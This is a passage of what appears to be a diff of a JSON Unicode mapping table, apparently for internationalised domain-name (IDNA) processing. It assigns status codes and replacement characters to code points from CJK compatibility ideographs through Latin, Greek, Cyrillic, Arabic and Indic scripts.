4832,1,"𣽞"],[194833,1,"𣾎"],[194834,1,"濆"],[194835,1,"瀹"],[194836,1,"瀞"],[194837,1,"瀛"],[194838,1,"㶖"],[194839,1,"灊"],[194840,1,"災"],[194841,1,"灷"],[194842,1,"炭"],[194843,1,"𠔥"],[194844,1,"煅"],[194845,1,"𤉣"],[194846,1,"熜"],[194847,3],[194848,1,"爨"],[194849,1,"爵"],[194850,1,"牐"],[194851,1,"𤘈"],[194852,1,"犀"],[194853,1,"犕"],[194854,1,"𤜵"],[194855,1,"𤠔"],[194856,1,"獺"],[194857,1,"王"],[194858,1,"㺬"],[194859,1,"玥"],[[194860,194861],1,"㺸"],[194862,1,"瑇"],[194863,1,"瑜"],[194864,1,"瑱"],[194865,1,"璅"],[194866,1,"瓊"],[194867,1,"㼛"],[194868,1,"甤"],[194869,1,"𤰶"],[194870,1,"甾"],[194871,1,"𤲒"],[194872,1,"異"],[194873,1,"𢆟"],[194874,1,"瘐"],[194875,1,"𤾡"],[194876,1,"𤾸"],[194877,1,"𥁄"],[194878,1,"㿼"],[194879,1,"䀈"],[194880,1,"直"],[194881,1,"𥃳"],[194882,1,"𥃲"],[194883,1,"𥄙"],[194884,1,"𥄳"],[194885,1,"眞"],[[194886,194887],1,"真"],[194888,1,"睊"],[194889,1,"䀹"],[194890,1,"瞋"],[194891,1,"䁆"],[194892,1,"䂖"],[194893,1,"𥐝"],[194894,1,"硎"],[194895,1,"碌"],[194896,1,"磌"],[194897,1,"䃣"],[194898,1,"𥘦"],[194899,1,"祖"],[194900,1,"𥚚"],[194901,1,"𥛅"],[194902,1,"福"],[194903,1,"秫"],[194904,1,"䄯"],[194905,1,"穀"],[194906,1,"穊"],[194907,1,"穏"],[194908,1,"𥥼"],[[194909,194910],1,"𥪧"],[194911,3],[194912,1,"䈂"],[194913,1,"𥮫"],[194914,1,"篆"],[194915,1,"築"],[194916,1,"䈧"],[194917,1,"𥲀"],[194918,1,"糒"],[194919,1,"䊠"],[194920,1,"糨"],[194921,1,"糣"],[194922,1,"紀"],[194923,1,"𥾆"],[194924,1,"絣"],[194925,1,"䌁"],[194926,1,"緇"],[194927,1,"縂"],[194928,1,"繅"],[194929,1,"䌴"],[194930,1,"𦈨"],[194931,1,"𦉇"],[194932,1,"䍙"],[194933,1,"𦋙"],[194934,1,"罺"],[194935,1,"𦌾"],[194936,1,"羕"],[194937,1,"翺"],[194938,1,"者"],[194939,1,"𦓚"],[194940,1,"𦔣"],[194941,1,"聠"],[194942,1,"𦖨"],[194943,1,"聰"],[194944,1,"𣍟"],[194945,1,"䏕"],[194946,1,"育"],[194947,1,"脃"],[194948,1,"䐋"],[194949,1,"脾"],[194950,1,"媵"],[194951,1,"𦞧"],[194952,1,"𦞵"],[194953,1,"𣎓"],[194954,1,"𣎜"],[194955,1,"舁"],[194956,1,"舄"],[194957,1,"辞"],[194958,1,"䑫"],[194959,1,"芑"],[194960,1,"芋"],[194961,1,"芝"],[194962,1,"劳"],[194963,1,"花"],[194964,1,"芳"],[194965,1,"芽"],[194966,1,"苦"],[194967,1,"𦬼"],[194968,1,"若"],[194969,1,"茝"],[194970,1,"荣"],[194971,1,"莭"],[194972,1,"茣"],[194973,1,"莽"],[194974,1,"菧"],[194975,1,"著"],[194976,1,"荓"],[194977,1,"菊"],[194978,1,"菌"],[194979,1,"菜"],[194980,1,"𦰶"],[194981,1,"𦵫"],[194982,1,"𦳕"],[194983,1,"䔫"],[194984,1,"蓱"],[194985,1,"蓳"],[194986,1,"蔖"],[194987,1,"𧏊"],[194988,1,"蕤"],[194989,1,"𦼬"],[194990,1,"䕝"],[194991,1,"䕡"],[194992,1,"𦾱"],[194993,1,"𧃒"],[194994,1,"䕫"],[194995,1,"虐"],[194996,1,"虜"],[194997,1,"虧"],[194998,1,"虩"],[194999,1,"蚩"],[195000,1,"蚈"],[195001,1,"蜎"],[195002,1,"蛢"],[195003,1,"蝹"],[195004,1,"蜨"],[195005,1,"蝫"],[195006,1,"螆"],[195007,3],[195008,1,"蟡"],[195009,1,"蠁"],[195010,1,"䗹"],[195011,1,"衠"],[195012,1,"衣"],[195013,1,"𧙧"],[195014,1,"裗"],[195015,1,"裞"],[195016,1,"䘵"],[195017,1,"裺"],[195018,1,"㒻"],[195019,1,"𧢮"],[195020,1,"𧥦"],[195021,1,"䚾"],[195022,1,"䛇"],[195023,1,"誠"],[195024,1,"諭"],[195025,1,"變"],[195026,1,"豕"],[195027,1,"𧲨"],[195028,1,"貫"],[195029,1,"賁"],[195030,1,"贛"],[195031,1,"起"],[195032,1,"𧼯"],[195033,1,"𠠄"],[195034,1,"跋"],[195035,1,"趼"],[195036,1,"跰"],[195037,1,"𠣞"],[195038,1,"軔"],[195039,1,"輸"],[195040,1,"𨗒"],[195041,1,"𨗭"],[195042,1,"邔"],[195043,1,"郱"],[195044,1,"鄑"],[195045,1,"𨜮"],[195046,1,"鄛"],[195047,1,"鈸"],[195048,1,"鋗"],[195049,1,"鋘"],[195050,1,"鉼"],[195051,1,"鏹"],[195052,1,"鐕"],[195053,1,"𨯺"],[195054,1,"開"],[195055,1,"䦕"],[195056,1,"閷"],[195057,1,"𨵷"],[195058,1,"䧦"],[195059,1,"雃"],[195060,1,"嶲"],[195061,1,"霣"],[195062,1,"𩅅"],[195063,1,"𩈚"],[195064,1,"䩮"],[195065,1,"䩶"],[195066,1,"韠"],[195067,1,"𩐊"],[195068,1,"䪲"],[195069,1,"𩒖"],[[195070,195071],1,"頋"],[195072,1,"頩"],[195073,1,"𩖶"],[195074,1,"飢"],[195075,1,"䬳"],[195076,1,"餩"],[195077,1,"馧"],[195078,1,"駂"],[195079,1,"駾"],[195080,1,"䯎"],[195081,1,"𩬰"],[195082,1,"鬒"],[195083,1,"鱀"],[195084,1,"鳽"],[195085,1,"䳎"],[195086,1,"䳭"],[195087,1,"鵧"],[195088,1,"𪃎"],[195089,1,"䳸"],[195090,1,"𪄅"],[195091,1,"𪈎"],[195092,1,"𪊑"],[195093,1,"麻"],[195094,1,"䵖"],[195095,1,"黹"],[195096,1,"黾"],[195097,1,"鼅"],[195098,1,"鼏"],[195099,1,"鼖"],[195100,1,"鼻"],[195101,1,"𪘀"],[[195102,196605],3],[[196606,196607],3],[[196608,201546],2],[[201547,262141],3],[[262142,262143],3],[[262144,327677],3],[[327678,327679],3],[[327680,393213],3],[[393214,393215],3],[[393216,458749],3],[[458750,458751],3],[[458752,524285],3],[[524286,524287],3],[[524288,589821],3],[[589822,589823],3],[[589824,655357],3],[[655358,655359],3],[[655360,720893],3],[[720894,720895],3],[[720896,786429],3],[[786430,786431],3],[[786432,851965],3],[[851966,851967],3],[[851968,917501],3],[[917502,917503],3],[917504,3],[917505,3],[[917506,917535],3],[[917536,917631],3],[[917632,917759],3],[[917760,917999],7],[[918000,983037],3],[[983038,983039],3],[[983040,1048573],3],[[1048574,1048575],3],[[1048576,1114109],3],[[1114110,1114111],3]] \ No newline at end of file +[[[0,44],4],[[45,46],2],[47,4],[[48,57],2],[[58,64],4],[65,1,"a"],[66,1,"b"],[67,1,"c"],[68,1,"d"],[69,1,"e"],[70,1,"f"],[71,1,"g"],[72,1,"h"],[73,1,"i"],[74,1,"j"],[75,1,"k"],[76,1,"l"],[77,1,"m"],[78,1,"n"],[79,1,"o"],[80,1,"p"],[81,1,"q"],[82,1,"r"],[83,1,"s"],[84,1,"t"],[85,1,"u"],[86,1,"v"],[87,1,"w"],[88,1,"x"],[89,1,"y"],[90,1,"z"],[[91,96],4],[[97,122],2],[[123,127],4],[[128,159],3],[160,5," "],[[161,167],2],[168,5," ̈"],[169,2],[170,1,"a"],[[171,172],2],[173,7],[174,2],[175,5," ̄"],[[176,177],2],[178,1,"2"],[179,1,"3"],[180,5," ́"],[181,1,"μ"],[182,2],[183,2],[184,5," ̧"],[185,1,"1"],[186,1,"o"],[187,2],[188,1,"1⁄4"],[189,1,"1⁄2"],[190,1,"3⁄4"],[191,2],[192,1,"à"],[193,1,"á"],[194,1,"â"],[195,1,"ã"],[196,1,"ä"],[197,1,"å"],[198,1,"æ"],[199,1,"ç"],[200,1,"è"],[201,1,"é"],[202,1,"ê"],[203,1,"ë"],[204,1,"ì"],[205,1,"í"],[206,1,"î"],[207,1,"ï"],[208,1,"ð"],[209,1,"ñ"],[210,1,"ò"],[211,1,"ó"],[212,1,"ô"],[213,1,"õ"],[214,1,"ö"],[215,2],[216,1,"ø"],[217,1,"ù"],[218,1,"ú"],[219,1,"û"],[220,1,"ü"],[221,1,"ý"],[222,1,"þ"],[223,6,"ss"],[[224,246],2],[247,2],[[248,255],2],[256,1,"ā"],[257,2],[258,1,"ă"],[259,2],[260,1,"ą"],[261,2],[262,1,"ć"],[263,2],[264,1,"ĉ"],[265,2],[266,1,"ċ"],[267,2],[268,1,"č"],[269,2],[270,1,"ď"],[271,2],[272,1,"đ"],[273,2],[274,1,"ē"],[275,2],[276,1,"ĕ"],[277,2],[278,1,"ė"],[279,2],[280,1,"ę"],[281,2],[282,1,"ě"],[283,2],[284,1,"ĝ"],[285,2],[286,1,"ğ"],[287,2],[288,1,"ġ"],[289,2],[290,1,"ģ"],[291,2],[292,1,"ĥ"],[293,2],[294,1,"ħ"],[295,2],[296,1,"ĩ"],[297,2],[298,1,"ī"],[299,2],[300,1,"ĭ"],[301,2],[302,1,"į"],[303,2],[304,1,"i̇"],[305,2],[[306,307],1,"ij"],[308,1,"ĵ"],[309,2],[310,1,"ķ"],[[311,312],2],[313,1,"ĺ"],[314,2],[315,1,"ļ"],[316,2],[317,1,"ľ"],[318,2],[[319,320],1,"l·"],[321,1,"ł"],[322,2],[323,1,"ń"],[324,2],[325,1,"ņ"],[326,2],[327,1,"ň"],[328,2],[329,1,"ʼn"],[330,1,"ŋ"],[331,2],[332,1,"ō"],[333,2],[334,1,"ŏ"],[335,2],[336,1,"ő"],[337,2],[338,1,"œ"],[339,2],[340,1,"ŕ"],[341,2],[342,1,"ŗ"],[343,2],[344,1,"ř"],[345,2],[346,1,"ś"],[347,2],[348,1,"ŝ"],[349,2],[350,1,"ş"],[351,2],[352,1,"š"],[353,2],[354,1,"ţ"],[355,2],[356,1,"ť"],[357,2],[358,1,"ŧ"],[359,2],[360,1,"ũ"],[361,2],[362,1,"ū"],[363,2],[364,1,"ŭ"],[365,2],[366,1,"ů"],[367,2],[368,1,"ű"],[369,2],[370,1,"ų"],[371,2],[372,1,"ŵ"],[373,2],[374,1,"ŷ"],[375,2],[376,1,"ÿ"],[377,1,"ź"],[378,2],[379,1,"ż"],[380,2],[381,1,"ž"],[382,2],[383,1,"s"],[384,2],[385,1,"ɓ"],[386,1,"ƃ"],[387,2],[388,1,"ƅ"],[389,2],[390,1,"ɔ"],[391,1,"ƈ"],[392,2],[393,1,"ɖ"],[394,1,"ɗ"],[395,1,"ƌ"],[[396,397],2],[398,1,"ǝ"],[399,1,"ə"],[400,1,"ɛ"],[401,1,"ƒ"],[402,2],[403,1,"ɠ"],[404,1,"ɣ"],[405,2],[406,1,"ɩ"],[407,1,"ɨ"],[408,1,"ƙ"],[[409,411],2],[412,1,"ɯ"],[413,1,"ɲ"],[414,2],[415,1,"ɵ"],[416,1,"ơ"],[417,2],[418,1,"ƣ"],[419,2],[420,1,"ƥ"],[421,2],[422,1,"ʀ"],[423,1,"ƨ"],[424,2],[425,1,"ʃ"],[[426,427],2],[428,1,"ƭ"],[429,2],[430,1,"ʈ"],[431,1,"ư"],[432,2],[433,1,"ʊ"],[434,1,"ʋ"],[435,1,"ƴ"],[436,2],[437,1,"ƶ"],[438,2],[439,1,"ʒ"],[440,1,"ƹ"],[[441,443],2],[444,1,"ƽ"],[[445,451],2],[[452,454],1,"dž"],[[455,457],1,"lj"],[[458,460],1,"nj"],[461,1,"ǎ"],[462,2],[463,1,"ǐ"],[464,2],[465,1,"ǒ"],[466,2],[467,1,"ǔ"],[468,2],[469,1,"ǖ"],[470,2],[471,1,"ǘ"],[472,2],[473,1,"ǚ"],[474,2],[475,1,"ǜ"],[[476,477],2],[478,1,"ǟ"],[479,2],[480,1,"ǡ"],[481,2],[482,1,"ǣ"],[483,2],[484,1,"ǥ"],[485,2],[486,1,"ǧ"],[487,2],[488,1,"ǩ"],[489,2],[490,1,"ǫ"],[491,2],[492,1,"ǭ"],[493,2],[494,1,"ǯ"],[[495,496],2],[[497,499],1,"dz"],[500,1,"ǵ"],[501,2],[502,1,"ƕ"],[503,1,"ƿ"],[504,1,"ǹ"],[505,2],[506,1,"ǻ"],[507,2],[508,1,"ǽ"],[509,2],[510,1,"ǿ"],[511,2],[512,1,"ȁ"],[513,2],[514,1,"ȃ"],[515,2],[516,1,"ȅ"],[517,2],[518,1,"ȇ"],[519,2],[520,1,"ȉ"],[521,2],[522,1,"ȋ"],[523,2],[524,1,"ȍ"],[525,2],[526,1,"ȏ"],[527,2],[528,1,"ȑ"],[529,2],[530,1,"ȓ"],[531,2],[532,1,"ȕ"],[533,2],[534,1,"ȗ"],[535,2],[536,1,"ș"],[537,2],[538,1,"ț"],[539,2],[540,1,"ȝ"],[541,2],[542,1,"ȟ"],[543,2],[544,1,"ƞ"],[545,2],[546,1,"ȣ"],[547,2],[548,1,"ȥ"],[549,2],[550,1,"ȧ"],[551,2],[552,1,"ȩ"],[553,2],[554,1,"ȫ"],[555,2],[556,1,"ȭ"],[557,2],[558,1,"ȯ"],[559,2],[560,1,"ȱ"],[561,2],[562,1,"ȳ"],[563,2],[[564,566],2],[[567,569],2],[570,1,"ⱥ"],[571,1,"ȼ"],[572,2],[573,1,"ƚ"],[574,1,"ⱦ"],[[575,576],2],[577,1,"ɂ"],[578,2],[579,1,"ƀ"],[580,1,"ʉ"],[581,1,"ʌ"],[582,1,"ɇ"],[583,2],[584,1,"ɉ"],[585,2],[586,1,"ɋ"],[587,2],[588,1,"ɍ"],[589,2],[590,1,"ɏ"],[591,2],[[592,680],2],[[681,685],2],[[686,687],2],[688,1,"h"],[689,1,"ɦ"],[690,1,"j"],[691,1,"r"],[692,1,"ɹ"],[693,1,"ɻ"],[694,1,"ʁ"],[695,1,"w"],[696,1,"y"],[[697,705],2],[[706,709],2],[[710,721],2],[[722,727],2],[728,5," ̆"],[729,5," ̇"],[730,5," ̊"],[731,5," ̨"],[732,5," ̃"],[733,5," ̋"],[734,2],[735,2],[736,1,"ɣ"],[737,1,"l"],[738,1,"s"],[739,1,"x"],[740,1,"ʕ"],[[741,745],2],[[746,747],2],[748,2],[749,2],[750,2],[[751,767],2],[[768,831],2],[832,1,"̀"],[833,1,"́"],[834,2],[835,1,"̓"],[836,1,"̈́"],[837,1,"ι"],[[838,846],2],[847,7],[[848,855],2],[[856,860],2],[[861,863],2],[[864,865],2],[866,2],[[867,879],2],[880,1,"ͱ"],[881,2],[882,1,"ͳ"],[883,2],[884,1,"ʹ"],[885,2],[886,1,"ͷ"],[887,2],[[888,889],3],[890,5," ι"],[[891,893],2],[894,5,";"],[895,1,"ϳ"],[[896,899],3],[900,5," ́"],[901,5," ̈́"],[902,1,"ά"],[903,1,"·"],[904,1,"έ"],[905,1,"ή"],[906,1,"ί"],[907,3],[908,1,"ό"],[909,3],[910,1,"ύ"],[911,1,"ώ"],[912,2],[913,1,"α"],[914,1,"β"],[915,1,"γ"],[916,1,"δ"],[917,1,"ε"],[918,1,"ζ"],[919,1,"η"],[920,1,"θ"],[921,1,"ι"],[922,1,"κ"],[923,1,"λ"],[924,1,"μ"],[925,1,"ν"],[926,1,"ξ"],[927,1,"ο"],[928,1,"π"],[929,1,"ρ"],[930,3],[931,1,"σ"],[932,1,"τ"],[933,1,"υ"],[934,1,"φ"],[935,1,"χ"],[936,1,"ψ"],[937,1,"ω"],[938,1,"ϊ"],[939,1,"ϋ"],[[940,961],2],[962,6,"σ"],[[963,974],2],[975,1,"ϗ"],[976,1,"β"],[977,1,"θ"],[978,1,"υ"],[979,1,"ύ"],[980,1,"ϋ"],[981,1,"φ"],[982,1,"π"],[983,2],[984,1,"ϙ"],[985,2],[986,1,"ϛ"],[987,2],[988,1,"ϝ"],[989,2],[990,1,"ϟ"],[991,2],[992,1,"ϡ"],[993,2],[994,1,"ϣ"],[995,2],[996,1,"ϥ"],[997,2],[998,1,"ϧ"],[999,2],[1000,1,"ϩ"],[1001,2],[1002,1,"ϫ"],[1003,2],[1004,1,"ϭ"],[1005,2],[1006,1,"ϯ"],[1007,2],[1008,1,"κ"],[1009,1,"ρ"],[1010,1,"σ"],[1011,2],[1012,1,"θ"],[1013,1,"ε"],[1014,2],[1015,1,"ϸ"],[1016,2],[1017,1,"σ"],[1018,1,"ϻ"],[1019,2],[1020,2],[1021,1,"ͻ"],[1022,1,"ͼ"],[1023,1,"ͽ"],[1024,1,"ѐ"],[1025,1,"ё"],[1026,1,"ђ"],[1027,1,"ѓ"],[1028,1,"є"],[1029,1,"ѕ"],[1030,1,"і"],[1031,1,"ї"],[1032,1,"ј"],[1033,1,"љ"],[1034,1,"њ"],[1035,1,"ћ"],[1036,1,"ќ"],[1037,1,"ѝ"],[1038,1,"ў"],[1039,1,"џ"],[1040,1,"а"],[1041,1,"б"],[1042,1,"в"],[1043,1,"г"],[1044,1,"д"],[1045,1,"е"],[1046,1,"ж"],[1047,1,"з"],[1048,1,"и"],[1049,1,"й"],[1050,1,"к"],[1051,1,"л"],[1052,1,"м"],[1053,1,"н"],[1054,1,"о"],[1055,1,"п"],[1056,1,"р"],[1057,1,"с"],[1058,1,"т"],[1059,1,"у"],[1060,1,"ф"],[1061,1,"х"],[1062,1,"ц"],[1063,1,"ч"],[1064,1,"ш"],[1065,1,"щ"],[1066,1,"ъ"],[1067,1,"ы"],[1068,1,"ь"],[1069,1,"э"],[1070,1,"ю"],[1071,1,"я"],[[1072,1103],2],[1104,2],[[1105,1116],2],[1117,2],[[1118,1119],2],[1120,1,"ѡ"],[1121,2],[1122,1,"ѣ"],[1123,2],[1124,1,"ѥ"],[1125,2],[1126,1,"ѧ"],[1127,2],[1128,1,"ѩ"],[1129,2],[1130,1,"ѫ"],[1131,2],[1132,1,"ѭ"],[1133,2],[1134,1,"ѯ"],[1135,2],[1136,1,"ѱ"],[1137,2],[1138,1,"ѳ"],[1139,2],[1140,1,"ѵ"],[1141,2],[1142,1,"ѷ"],[1143,2],[1144,1,"ѹ"],[1145,2],[1146,1,"ѻ"],[1147,2],[1148,1,"ѽ"],[1149,2],[1150,1,"ѿ"],[1151,2],[1152,1,"ҁ"],[1153,2],[1154,2],[[1155,1158],2],[1159,2],[[1160,1161],2],[1162,1,"ҋ"],[1163,2],[1164,1,"ҍ"],[1165,2],[1166,1,"ҏ"],[1167,2],[1168,1,"ґ"],[1169,2],[1170,1,"ғ"],[1171,2],[1172,1,"ҕ"],[1173,2],[1174,1,"җ"],[1175,2],[1176,1,"ҙ"],[1177,2],[1178,1,"қ"],[1179,2],[1180,1,"ҝ"],[1181,2],[1182,1,"ҟ"],[1183,2],[1184,1,"ҡ"],[1185,2],[1186,1,"ң"],[1187,2],[1188,1,"ҥ"],[1189,2],[1190,1,"ҧ"],[1191,2],[1192,1,"ҩ"],[1193,2],[1194,1,"ҫ"],[1195,2],[1196,1,"ҭ"],[1197,2],[1198,1,"ү"],[1199,2],[1200,1,"ұ"],[1201,2],[1202,1,"ҳ"],[1203,2],[1204,1,"ҵ"],[1205,2],[1206,1,"ҷ"],[1207,2],[1208,1,"ҹ"],[1209,2],[1210,1,"һ"],[1211,2],[1212,1,"ҽ"],[1213,2],[1214,1,"ҿ"],[1215,2],[1216,3],[1217,1,"ӂ"],[1218,2],[1219,1,"ӄ"],[1220,2],[1221,1,"ӆ"],[1222,2],[1223,1,"ӈ"],[1224,2],[1225,1,"ӊ"],[1226,2],[1227,1,"ӌ"],[1228,2],[1229,1,"ӎ"],[1230,2],[1231,2],[1232,1,"ӑ"],[1233,2],[1234,1,"ӓ"],[1235,2],[1236,1,"ӕ"],[1237,2],[1238,1,"ӗ"],[1239,2],[1240,1,"ә"],[1241,2],[1242,1,"ӛ"],[1243,2],[1244,1,"ӝ"],[1245,2],[1246,1,"ӟ"],[1247,2],[1248,1,"ӡ"],[1249,2],[1250,1,"ӣ"],[1251,2],[1252,1,"ӥ"],[1253,2],[1254,1,"ӧ"],[1255,2],[1256,1,"ө"],[1257,2],[1258,1,"ӫ"],[1259,2],[1260,1,"ӭ"],[1261,2],[1262,1,"ӯ"],[1263,2],[1264,1,"ӱ"],[1265,2],[1266,1,"ӳ"],[1267,2],[1268,1,"ӵ"],[1269,2],[1270,1,"ӷ"],[1271,2],[1272,1,"ӹ"],[1273,2],[1274,1,"ӻ"],[1275,2],[1276,1,"ӽ"],[1277,2],[1278,1,"ӿ"],[1279,2],[1280,1,"ԁ"],[1281,2],[1282,1,"ԃ"],[1283,2],[1284,1,"ԅ"],[1285,2],[1286,1,"ԇ"],[1287,2],[1288,1,"ԉ"],[1289,2],[1290,1,"ԋ"],[1291,2],[1292,1,"ԍ"],[1293,2],[1294,1,"ԏ"],[1295,2],[1296,1,"ԑ"],[1297,2],[1298,1,"ԓ"],[1299,2],[1300,1,"ԕ"],[1301,2],[1302,1,"ԗ"],[1303,2],[1304,1,"ԙ"],[1305,2],[1306,1,"ԛ"],[1307,2],[1308,1,"ԝ"],[1309,2],[1310,1,"ԟ"],[1311,2],[1312,1,"ԡ"],[1313,2],[1314,1,"ԣ"],[1315,2],[1316,1,"ԥ"],[1317,2],[1318,1,"ԧ"],[1319,2],[1320,1,"ԩ"],[1321,2],[1322,1,"ԫ"],[1323,2],[1324,1,"ԭ"],[1325,2],[1326,1,"ԯ"],[1327,2],[1328,3],[1329,1,"ա"],[1330,1,"բ"],[1331,1,"գ"],[1332,1,"դ"],[1333,1,"ե"],[1334,1,"զ"],[1335,1,"է"],[1336,1,"ը"],[1337,1,"թ"],[1338,1,"ժ"],[1339,1,"ի"],[1340,1,"լ"],[1341,1,"խ"],[1342,1,"ծ"],[1343,1,"կ"],[1344,1,"հ"],[1345,1,"ձ"],[1346,1,"ղ"],[1347,1,"ճ"],[1348,1,"մ"],[1349,1,"յ"],[1350,1,"ն"],[1351,1,"շ"],[1352,1,"ո"],[1353,1,"չ"],[1354,1,"պ"],[1355,1,"ջ"],[1356,1,"ռ"],[1357,1,"ս"],[1358,1,"վ"],[1359,1,"տ"],[1360,1,"ր"],[1361,1,"ց"],[1362,1,"ւ"],[1363,1,"փ"],[1364,1,"ք"],[1365,1,"օ"],[1366,1,"ֆ"],[[1367,1368],3],[1369,2],[[1370,1375],2],[1376,2],[[1377,1414],2],[1415,1,"եւ"],[1416,2],[1417,2],[1418,2],[[1419,1420],3],[[1421,1422],2],[1423,2],[1424,3],[[1425,1441],2],[1442,2],[[1443,1455],2],[[1456,1465],2],[1466,2],[[1467,1469],2],[1470,2],[1471,2],[1472,2],[[1473,1474],2],[1475,2],[1476,2],[1477,2],[1478,2],[1479,2],[[1480,1487],3],[[1488,1514],2],[[1515,1518],3],[1519,2],[[1520,1524],2],[[1525,1535],3],[[1536,1539],3],[1540,3],[1541,3],[[1542,1546],2],[1547,2],[1548,2],[[1549,1551],2],[[1552,1557],2],[[1558,1562],2],[1563,2],[1564,3],[1565,2],[1566,2],[1567,2],[1568,2],[[1569,1594],2],[[1595,1599],2],[1600,2],[[1601,1618],2],[[1619,1621],2],[[1622,1624],2],[[1625,1630],2],[1631,2],[[1632,1641],2],[[1642,1645],2],[[1646,1647],2],[[1648,1652],2],[1653,1,"اٴ"],[1654,1,"وٴ"],[1655,1,"ۇٴ"],[1656,1,"يٴ"],[[1657,1719],2],[[1720,1721],2],[[1722,1726],2],[1727,2],[[1728,1742],2],[1743,2],[[1744,1747],2],[1748,2],[[1749,1756],2],[1757,3],[1758,2],[[1759,1768],2],[1769,2],[[1770,1773],2],[[1774,1775],2],[[1776,1785],2],[[1786,1790],2],[1791,2],[[1792,1805],2],[1806,3],[1807,3],[[1808,1836],2],[[1837,1839],2],[[1840,1866],2],[[1867,1868],3],[[1869,1871],2],[[1872,1901],2],[[1902,1919],2],[[1920,1968],2],[1969,2],[[1970,1983],3],[[1984,2037],2],[[2038,2042],2],[[2043,2044],3],[2045,2],[[2046,2047],2],[[2048,2093],2],[[2094,2095],3],[[2096,2110],2],[2111,3],[[2112,2139],2],[[2140,2141],3],[2142,2],[2143,3],[[2144,2154],2],[[2155,2159],3],[[2160,2183],2],[2184,2],[[2185,2190],2],[2191,3],[[2192,2193],3],[[2194,2199],3],[[2200,2207],2],[2208,2],[2209,2],[[2210,2220],2],[[2221,2226],2],[[2227,2228],2],[2229,2],[[2230,2237],2],[[2238,2247],2],[[2248,2258],2],[2259,2],[[2260,2273],2],[2274,3],[2275,2],[[2276,2302],2],[2303,2],[2304,2],[[2305,2307],2],[2308,2],[[2309,2361],2],[[2362,2363],2],[[2364,2381],2],[2382,2],[2383,2],[[2384,2388],2],[2389,2],[[2390,2391],2],[2392,1,"क़"],[2393,1,"ख़"],[2394,1,"ग़"],[2395,1,"ज़"],[2396,1,"ड़"],[2397,1,"ढ़"],[2398,1,"फ़"],[2399,1,"य़"],[[2400,2403],2],[[2404,2405],2],[[2406,2415],2],[2416,2],[[2417,2418],2],[[2419,2423],2],[2424,2],[[2425,2426],2],[[2427,2428],2],[2429,2],[[2430,2431],2],[2432,2],[[2433,2435],2],[2436,3],[[2437,2444],2],[[2445,2446],3],[[2447,2448],2],[[2449,2450],3],[[2451,2472],2],[2473,3],[[2474,2480],2],[2481,3],[2482,2],[[2483,2485],3],[[2486,2489],2],[[2490,2491],3],[2492,2],[2493,2],[[2494,2500],2],[[2501,2502],3],[[2503,2504],2],[[2505,2506],3],[[2507,2509],2],[2510,2],[[2511,2518],3],[2519,2],[[2520,2523],3],[2524,1,"ড়"],[2525,1,"ঢ়"],[2526,3],[2527,1,"য়"],[[2528,2531],2],[[2532,2533],3],[[2534,2545],2],[[2546,2554],2],[2555,2],[2556,2],[2557,2],[2558,2],[[2559,2560],3],[2561,2],[2562,2],[2563,2],[2564,3],[[2565,2570],2],[[2571,2574],3],[[2575,2576],2],[[2577,2578],3],[[2579,2600],2],[2601,3],[[2602,2608],2],[2609,3],[2610,2],[2611,1,"ਲ਼"],[2612,3],[2613,2],[2614,1,"ਸ਼"],[2615,3],[[2616,2617],2],[[2618,2619],3],[2620,2],[2621,3],[[2622,2626],2],[[2627,2630],3],[[2631,2632],2],[[2633,2634],3],[[2635,2637],2],[[2638,2640],3],[2641,2],[[2642,2648],3],[2649,1,"ਖ਼"],[2650,1,"ਗ਼"],[2651,1,"ਜ਼"],[2652,2],[2653,3],[2654,1,"ਫ਼"],[[2655,2661],3],[[2662,2676],2],[2677,2],[2678,2],[[2679,2688],3],[[2689,2691],2],[2692,3],[[2693,2699],2],[2700,2],[2701,2],[2702,3],[[2703,2705],2],[2706,3],[[2707,2728],2],[2729,3],[[2730,2736],2],[2737,3],[[2738,2739],2],[2740,3],[[2741,2745],2],[[2746,2747],3],[[2748,2757],2],[2758,3],[[2759,2761],2],[2762,3],[[2763,2765],2],[[2766,2767],3],[2768,2],[[2769,2783],3],[2784,2],[[2785,2787],2],[[2788,2789],3],[[2790,2799],2],[2800,2],[2801,2],[[2802,2808],3],[2809,2],[[2810,2815],2],[2816,3],[[2817,2819],2],[2820,3],[[2821,2828],2],[[2829,2830],3],[[2831,2832],2],[[2833,2834],3],[[2835,2856],2],[2857,3],[[2858,2864],2],[2865,3],[[2866,2867],2],[2868,3],[2869,2],[[2870,2873],2],[[2874,2875],3],[[2876,2883],2],[2884,2],[[2885,2886],3],[[2887,2888],2],[[2889,2890],3],[[2891,2893],2],[[2894,2900],3],[2901,2],[[2902,2903],2],[[2904,2907],3],[2908,1,"ଡ଼"],[2909,1,"ଢ଼"],[2910,3],[[2911,2913],2],[[2914,2915],2],[[2916,2917],3],[[2918,2927],2],[2928,2],[2929,2],[[2930,2935],2],[[2936,2945],3],[[2946,2947],2],[2948,3],[[2949,2954],2],[[2955,2957],3],[[2958,2960],2],[2961,3],[[2962,2965],2],[[2966,2968],3],[[2969,2970],2],[2971,3],[2972,2],[2973,3],[[2974,2975],2],[[2976,2978],3],[[2979,2980],2],[[2981,2983],3],[[2984,2986],2],[[2987,2989],3],[[2990,2997],2],[2998,2],[[2999,3001],2],[[3002,3005],3],[[3006,3010],2],[[3011,3013],3],[[3014,3016],2],[3017,3],[[3018,3021],2],[[3022,3023],3],[3024,2],[[3025,3030],3],[3031,2],[[3032,3045],3],[3046,2],[[3047,3055],2],[[3056,3058],2],[[3059,3066],2],[[3067,3071],3],[3072,2],[[3073,3075],2],[3076,2],[[3077,3084],2],[3085,3],[[3086,3088],2],[3089,3],[[3090,3112],2],[3113,3],[[3114,3123],2],[3124,2],[[3125,3129],2],[[3130,3131],3],[3132,2],[3133,2],[[3134,3140],2],[3141,3],[[3142,3144],2],[3145,3],[[3146,3149],2],[[3150,3156],3],[[3157,3158],2],[3159,3],[[3160,3161],2],[3162,2],[[3163,3164],3],[3165,2],[[3166,3167],3],[[3168,3169],2],[[3170,3171],2],[[3172,3173],3],[[3174,3183],2],[[3184,3190],3],[3191,2],[[3192,3199],2],[3200,2],[3201,2],[[3202,3203],2],[3204,2],[[3205,3212],2],[3213,3],[[3214,3216],2],[3217,3],[[3218,3240],2],[3241,3],[[3242,3251],2],[3252,3],[[3253,3257],2],[[3258,3259],3],[[3260,3261],2],[[3262,3268],2],[3269,3],[[3270,3272],2],[3273,3],[[3274,3277],2],[[3278,3284],3],[[3285,3286],2],[[3287,3292],3],[3293,2],[3294,2],[3295,3],[[3296,3297],2],[[3298,3299],2],[[3300,3301],3],[[3302,3311],2],[3312,3],[[3313,3314],2],[3315,2],[[3316,3327],3],[3328,2],[3329,2],[[3330,3331],2],[3332,2],[[3333,3340],